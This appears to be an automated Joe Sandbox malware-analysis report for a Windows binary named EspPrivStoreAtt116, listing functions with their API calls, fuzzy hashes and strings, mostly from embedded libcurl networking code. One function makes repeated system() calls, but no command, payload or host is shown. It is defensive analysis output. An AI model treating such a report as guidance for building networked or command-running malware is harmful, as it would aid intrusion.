memcpy.VCRUNTIME140(?,?,?,00007FF747D4BB05), ref: 00007FF747D690C1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D690CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6910A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D69113
freeaddrinfo.WS2_32(?,?,?,00007FF747D4BB05), ref: 00007FF747D69141
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D69155
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6915F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6916C
WSASetLastError.WS2_32(?,?,?,00007FF747D4BB05), ref: 00007FF747D6918D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$ErrorLast_strdupfreeaddrinfogetaddrinfomemcpy
String ID:
API String ID: 2364279375-0
Opcode ID: 92f1dd02e77ef6866300f81a3e7edaadc0e4f6ac73d95d5bcc1c9b54f38ed787
Instruction ID: 1aac56df41d9735e7b7fd1b955c6e18259b3202bfbe8e1f58d26e8b701a81d1c
Opcode Fuzzy Hash: 92f1dd02e77ef6866300f81a3e7edaadc0e4f6ac73d95d5bcc1c9b54f38ed787
Instruction Fuzzy Hash: 66516E75A1DB42C6EA64BF11A554239F7A0FB44B90F948239DE8E13798DF3CE446CB20

Function 00007FF747D54EA0 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 280
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55E94
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EAA
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EBE
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55ED2
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EE6
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EFA
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55F0E
Part of subcall function 00007FF747D55E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55F22

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54F22

Part of subcall function 00007FF747D7EE50: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE65
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE7F
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EE9A
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EEB6
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EED2
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EEEA
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF02
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF1A
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF32
Part of subcall function 00007FF747D7EE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF4A
Part of subcall function 00007FF747D7EE50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D54EC5,?,?,?,?,?,00007FF747D532CC), ref: 00007FF747D7EF64

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D55126
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D55169
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D552AE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5532B

Strings

file, xrefs: 00007FF747D55213, 00007FF747D5528C
%s://%s, xrefs: 00007FF747D54F2F
Protocol "%s" not supported or disabled in libcurl, xrefs: 00007FF747D5506F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$free$callocstrtoul
String ID: %s://%s$Protocol "%s" not supported or disabled in libcurl$file
API String ID: 954404409-4150109901
Opcode ID: d5fc2bd1b97f74df62beba7fc475ceb3081383bd7182993d1400e2ae8b10f42b
Instruction ID: 70cd0a9cad5fba68273b50db7d598e0b569e6570f534ea61f3b1948c9e64750e
Opcode Fuzzy Hash: d5fc2bd1b97f74df62beba7fc475ceb3081383bd7182993d1400e2ae8b10f42b
Instruction Fuzzy Hash: E1C1B131A2CA82D7EB69BB25C9407B9A791FB44344FC50231DB1E5B685EF3CE512CB60

Function 00007FF747D668F0 Relevance: 16.7, APIs: 11, Instructions: 241sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FF747D6694D
Sleep.KERNEL32 ref: 00007FF747D6695E
WSASetLastError.WS2_32 ref: 00007FF747D66AC8
Sleep.KERNEL32 ref: 00007FF747D66AD9
__WSAFDIsSet.WS2_32 ref: 00007FF747D66B8C
__WSAFDIsSet.WS2_32 ref: 00007FF747D66BA3
__WSAFDIsSet.WS2_32 ref: 00007FF747D66BBE
__WSAFDIsSet.WS2_32 ref: 00007FF747D66BD2
__WSAFDIsSet.WS2_32 ref: 00007FF747D66BED
__WSAFDIsSet.WS2_32 ref: 00007FF747D66C01

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 3eaa5cdda63adafe87d7bc7021b97494535538da4074dd7caebf54caf0cff9b4
Instruction ID: 9e09665244528d3e26e70e5a05648ecd0b02170e60add4db1941d64a897f8318
Opcode Fuzzy Hash: 3eaa5cdda63adafe87d7bc7021b97494535538da4074dd7caebf54caf0cff9b4
Instruction Fuzzy Hash: 36911C71B2CE82C6EB647E299D402B9E690FB44754F90C335E91E86BC4DE3CE9468E10

Function 00007FF747D55800 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5584F

Strings

Unix socket path too long: '%s', xrefs: 00007FF747D558A6
Couldn't resolve host '%s', xrefs: 00007FF747D55981
Couldn't resolve proxy '%s', xrefs: 00007FF747D55A2C

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: calloc
String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'$Unix socket path too long: '%s'
API String ID: 2635317215-3812100122
Opcode ID: 94f586bf51bbcc24e5a36e66b485c0dbac251b6b1e579bd488a4af3d2ed01ea2
Instruction ID: 707bfdcddfca09c730b05aa655fbc6642b3982726364ec7ec81fd2ff724f3343
Opcode Fuzzy Hash: 94f586bf51bbcc24e5a36e66b485c0dbac251b6b1e579bd488a4af3d2ed01ea2
Instruction Fuzzy Hash: D851C122A1CB82C3FA1ABB25A580379A791FB84790FD50231DB5E53794DF3CE4528F20

Function 00007FF747D32850 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 121processCOMMON

Download Yara Rule

APIs

system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D328B7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32927
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32987
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D329D7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32A27
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32A98

Strings

h%49, xrefs: 00007FF747D32A6E
.8, xrefs: 00007FF747D32A75

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: system
String ID: .8$h%49
API String ID: 3377271179-4206735779
Opcode ID: 5e185ff44131f8ffb292aacd92914df2fb238af3a598180558577508194563da
Instruction ID: 76dc287f2dde3bd847c14acb04f7ed019c0443d158d02e321edacd9dba1ad477
Opcode Fuzzy Hash: 5e185ff44131f8ffb292aacd92914df2fb238af3a598180558577508194563da
Instruction Fuzzy Hash: CC616162E287D6C9F301EF78E8451BCB771BB99708F405378CEC925E15EBA81249C754

Function 00007FF747D901EC Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF747D90215
__scrt_release_startup_lock.LIBCMT ref: 00007FF747D90283
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D902D1
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D902D6
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D902DE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D902E6
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D90308
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D90362

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: de375b220b439a9c4fbc24da6c3cfafd4a664fed8df3b2246a19f881dec74204
Instruction ID: 53a062561f866bf41ace0d8d1280e59368c00b40c5dab303bbd64ef2433480ed
Opcode Fuzzy Hash: de375b220b439a9c4fbc24da6c3cfafd4a664fed8df3b2246a19f881dec74204
Instruction Fuzzy Hash: B83150A1A2C203C2FA04BB64A5513F9E691AF46788FC44A34DA4D4B3D3DE2CA447CA70

Function 00007FF747D4BAB0 Relevance: 12.1, APIs: 8, Instructions: 67networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D68FE0: getaddrinfo.WS2_32 ref: 00007FF747D69002
Part of subcall function 00007FF747D68FE0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6906E
Part of subcall function 00007FF747D68FE0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D690A8
Part of subcall function 00007FF747D68FE0: memcpy.VCRUNTIME140(?,?,?,00007FF747D4BB05), ref: 00007FF747D690C1
Part of subcall function 00007FF747D68FE0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D690CF
Part of subcall function 00007FF747D68FE0: freeaddrinfo.WS2_32(?,?,?,00007FF747D4BB05), ref: 00007FF747D69141
Part of subcall function 00007FF747D68FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D69155
Part of subcall function 00007FF747D68FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6915F
Part of subcall function 00007FF747D68FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6916C

WSAGetLastError.WS2_32 ref: 00007FF747D4BB0B
WSAGetLastError.WS2_32 ref: 00007FF747D4BB15
EnterCriticalSection.KERNEL32 ref: 00007FF747D4BB30
LeaveCriticalSection.KERNEL32 ref: 00007FF747D4BB3F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BB50
send.WS2_32 ref: 00007FF747D4BB73
WSAGetLastError.WS2_32 ref: 00007FF747D4BB7D
LeaveCriticalSection.KERNEL32 ref: 00007FF747D4BB90

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$CriticalErrorLastSection$Leavemalloc$Enter_strdupfreeaddrinfogetaddrinfomemcpysend
String ID:
API String ID: 506363382-0
Opcode ID: 42967842f68ceaa853a16063dead967f6bbf823a8214e1f46a4740f52b57b5c3
Instruction ID: 447d980399a605327d0f7878315c128c637e4411a035f97411840babcba596a7
Opcode Fuzzy Hash: 42967842f68ceaa853a16063dead967f6bbf823a8214e1f46a4740f52b57b5c3
Instruction Fuzzy Hash: 4C31AB7161C642C2E750BF25E855269B7A0FF84B98F804331D65E836A8DF3CE447CB50

Function 00007FF747D66550 Relevance: 10.7, APIs: 7, Instructions: 242sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FF747D665B6
WSASetLastError.WS2_32 ref: 00007FF747D66776
Sleep.KERNEL32 ref: 00007FF747D66786
__WSAFDIsSet.WS2_32 ref: 00007FF747D6689A
__WSAFDIsSet.WS2_32 ref: 00007FF747D668B2
Sleep.KERNEL32 ref: 00007FF747D668DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: cfc8ec446ff317ecc00fd428b9dae46fb424ecc2b66ae7b6bce6886c4fe073b3
Instruction ID: 44fb5ef04015c818080b0d4679aa90a334513b2c9f0d8c9479b473d7fb7a9063
Opcode Fuzzy Hash: cfc8ec446ff317ecc00fd428b9dae46fb424ecc2b66ae7b6bce6886c4fe073b3
Instruction Fuzzy Hash: 86A1E921A3CA52C6EB697F25DC10279A295FF44B94F908335E95E46BC4DF3DD8028B60

Function 00007FF747D697C0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D699EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D69A2F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D69A57
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D69A99

Strings

schannel: failed to send close msg: %s (bytes written: %zd), xrefs: 00007FF747D699B3
schannel: shutting down SSL/TLS connection with %s port %hu, xrefs: 00007FF747D6983E
schannel: ApplyControlToken failure: %s, xrefs: 00007FF747D698C8

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: schannel: ApplyControlToken failure: %s$schannel: failed to send close msg: %s (bytes written: %zd)$schannel: shutting down SSL/TLS connection with %s port %hu
API String ID: 1294909896-116363806
Opcode ID: 06d614f5a40dbf42b348ec526ed1014891f1a8567d3546127b6d1c09ef856b86
Instruction ID: 824438e9fe48b46758600c3d5a38b2243906fa46b1212deef72d307028e9ac38
Opcode Fuzzy Hash: 06d614f5a40dbf42b348ec526ed1014891f1a8567d3546127b6d1c09ef856b86
Instruction Fuzzy Hash: 32914972618F81C6EB10AF66D8506AD77A4FB84B85F844235CE8D577A8DF38D446CB10

Function 00007FF747D6C5A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6C63E
memcpy.VCRUNTIME140 ref: 00007FF747D6C6D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6C80C

Strings

select/poll on SSL socket, errno: %d, xrefs: 00007FF747D6C7B4
schannel: timed out sending data (bytes sent: %zd), xrefs: 00007FF747D6C7D4

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 3056473165-3891197721
Opcode ID: b841224005b667f0fec0900590e035601761791e8c79bf0361c4f5e0c6ca09c0
Instruction ID: 502d9f0bae76e8eca6f4617888d9a780738e91f9ba4aebf8d4da31d46dad5271
Opcode Fuzzy Hash: b841224005b667f0fec0900590e035601761791e8c79bf0361c4f5e0c6ca09c0
Instruction Fuzzy Hash: 1971AF72B18B05CAEB10EB65D4506AD73A1FB48BA8F904335DE2D577D4EE38E40ACB50

Function 00007FF747D47610 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4765E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D47675
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D477A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D477CE

Strings

%s, xrefs: 00007FF747D478D7
Connection #%ld to host %s left intact, xrefs: 00007FF747D4788B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s$Connection #%ld to host %s left intact
API String ID: 1294909896-118628944
Opcode ID: e91a0139a46916ed625c7b167e581e5f61640a50a9e451340a2a8c6e17119c8f
Instruction ID: 8480088400ccfe23880a3ccdf2bfadc4b54c316fab27e777fdceda4a6232d3ff
Opcode Fuzzy Hash: e91a0139a46916ed625c7b167e581e5f61640a50a9e451340a2a8c6e17119c8f
Instruction Fuzzy Hash: EC919032B6C681C2E758BB25D9413F9A395FB44B94F844671CE4E17395CF38E462CB60

Function 00007FF747D51AA0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D51ACB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D51AE1

Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D518FD
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5191A
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5192E
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5194A
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51967
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5198A
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D5199E
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519B2
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519D8
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D519EC
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A00
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A4F
Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A5C

Part of subcall function 00007FF747D51880: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51F05), ref: 00007FF747D51A85

memset.VCRUNTIME140 ref: 00007FF747D51B15

Strings

User-Agent: %s, xrefs: 00007FF747D51BAF
